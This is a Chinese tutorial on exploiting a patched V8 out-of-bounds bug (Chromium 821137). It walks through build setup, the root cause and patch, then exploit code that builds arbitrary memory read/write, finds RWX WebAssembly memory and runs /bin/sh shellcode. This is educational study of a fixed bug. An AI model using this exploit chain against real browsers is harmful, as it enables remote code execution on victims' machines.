v8利用入门:从越界访问到RCE
字数 1190 2025-08-18 11:39:30
V8引擎漏洞分析与利用:从越界访问到RCE
1. 漏洞概述
Chromium漏洞编号821137是一个V8引擎的越界访问漏洞,通过精心构造的JavaScript代码可以实现从越界访问到远程代码执行(RCE)的完整利用链。该漏洞存在于Array.from方法的实现中,允许攻击者通过自定义迭代器控制数组长度,进而实现越界访问。
2. 环境搭建
2.1 基础环境准备
- 操作系统:Ubuntu 18.04(其他发行版可能遇到兼容性问题)
- 代理配置:需要使用socks5全局代理
.boto配置文件:放置在根目录下,供gclient sync命令使用代理
2.2 代码拉取与编译
# 拉取V8代码
git reset --hard 1dab065bb4025bdd663ba12e2e976c34c3fa6599
gclient sync
# 编译debug版本
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug d8
# 编译release版本
tools/dev/v8gen.py x64.release
ninja -C out.gn/x64.release d8
2.3 调试环境配置
- 将V8安装目录下的
/tools/gdbinit添加到~/.gdbinit - 修改
.gdbinit配置:sudo gedit ~/.gdbinit - 添加配置(可配合pwndbg等gdb插件使用):
source path/to/gdbinit
调试命令示例:
set args --allow-natives-syntax xxx.js
调试辅助函数:
%DebugPrint(obj) // 输出对象地址
%SystemBreak() // 触发调试中断
3. 漏洞分析
3.1 漏洞POC
let oobArray = [];
let maxSize = 1028 * 8;
Array.from.call(function() { return oobArray }, {
[Symbol.iterator]: function() {
let counter = 0;
return {
next() {
let result = counter++;
if (counter > maxSize) {
oobArray.length = 0;
return {done: true};
} else {
return {value: result, done: false};
}
}
};
}
});
oobArray[oobArray.length - 1] = 0x41414141;
3.2 漏洞原理
漏洞位于src/builtins/builtins-array-gen.cc中的Array.from实现:
Array.from接受一个自定义迭代器,记录迭代次数到index变量- 迭代完成后,将
index赋值给length并设置数组长度 - 关键问题:在迭代过程中可以修改原始数组长度(如POC中将
oobArray.length设为0) - 修复前的检查使用
SmiLessThan,只检查新长度是否小于原长度 - 当新长度大于原长度时,直接使用新长度而不进行内存调整,导致越界访问
3.3 补丁分析
补丁将SmiLessThan改为SmiNotEqual,确保长度不匹配时都进入runtime处理:
- GotoIf(SmiLessThan(length_smi, old_length), &runtime);
+ GotoIf(SmiNotEqual(length_smi, old_length), &runtime);
4. 漏洞利用
4.1 利用思路
- 通过越界访问获得可控的JSArrayBuffer对象
- 利用JSArrayBuffer的backing_store实现任意地址读写
- 通过WebAssembly获得RWX内存区域
- 将shellcode写入RWX内存并执行
4.2 关键步骤
4.2.1 创建越界数组和对象
var bufArray = [];
var objArray = [];
var oobArray = [1.1];
var maxSize = 8224;
function objGen(tag) {
this.leak = 0x1234;
this.tag = tag;
}
Array.from.call(function() { return oobArray }, {
[Symbol.iterator]: function() {
let counter = 0;
return {
next() {
let result = 1.1;
counter++;
if (counter > maxSize) {
oobArray.length = 1;
bufArray.push(new ArrayBuffer(0xbeef));
objArray.push(new objGen(0xdead));
return {done: true};
} else {
return {value: result, done: false};
}
}
};
}
});
// 触发GC
for(let x=0; x<=maxSize; x++) {
let y = oobArray[x];
};
4.2.2 搜索可控对象
var offsetBuf;
var offsetObjLeak;
for(let i = 0; i < maxSize; i++) {
let val = dt.f2i(oobArray[i]);
if(0xbeef00000000 === val) {
offsetBuf = i-3;
console.log("buf offset: " + offsetBuf);
}
if(0xdead00000000 === val) {
offsetObjLeak = i-1;
console.log("objGen.leak offset: " + offsetObjLeak);
break;
}
}
4.2.3 实现任意地址读写
var dtView = new DataView(bufArray[0]);
// 任意地址写
function write64(addr, value) {
oobArray[offsetBuf+4] = dt.i2f(addr);
dtView.setFloat64(0, dt.i2f(value), true);
}
// 任意地址读
function read64(addr, str=false) {
oobArray[offsetBuf+4] = dt.i2f(addr);
let tmp = [];
let tmp2 = ["", ""];
let result = '';
tmp[1] = hex(dtView.getUint32(0)).slice(10,);
tmp[0] = hex(dtView.getUint32(4)).slice(10,);
for(let i=3; i>=0; i--) {
tmp2[0] += tmp[0].slice(i*2, i*2+2);
tmp2[1] += tmp[1].slice(i*2, i*2+2);
}
result = tmp2[0]+tmp2[1];
if(str==true) {
return '0x'+result;
} else {
return parseInt(result, 16);
}
}
4.2.4 使用WebAssembly执行shellcode
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,10,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var funcAsm = wasmInstance.exports.main;
var addressFasm = addressOf(funcAsm);
var sharedInfo = read64(addressFasm+0x18-0x1);
var codeAddr = read64(sharedInfo+0x8-0x1);
var memoryRWX = (read64(codeAddr+0x70-0x1)/0x10000);
memoryRWX = Math.floor(memoryRWX);
// 写入shellcode
var shellcode = ['2fbb485299583b6a', '5368732f6e69622f', '050f5e5457525f54'];
var offsetMem = 0;
for(x of shellcode) {
write64(memoryRWX+offsetMem, x);
offsetMem += 8;
}
// 执行shellcode
funcAsm();
5. V8关键数据结构
5.1 SMI (Small Integer)
- 32位系统:31位有符号数
- 64位系统:32位有符号数
- 最低位为0表示number,为1表示指针
5.2 JSArrayBuffer内存布局
+-------------------+-------------------+-------------------+
| Map pointer | Properties | Elements |
+-------------------+-------------------+-------------------+
| Embedder fields | Backing store ptr | Byte length |
+-------------------+-------------------+-------------------+
5.3 WebAssembly内存结构
JSFunction -> shared_info -> code -> code+0x70 (RWX内存)
6. 防御与缓解
- 及时更新Chromium/V8到已修复版本
- 启用Site Isolation功能
- 使用最新的沙箱技术
- 监控异常的内存访问模式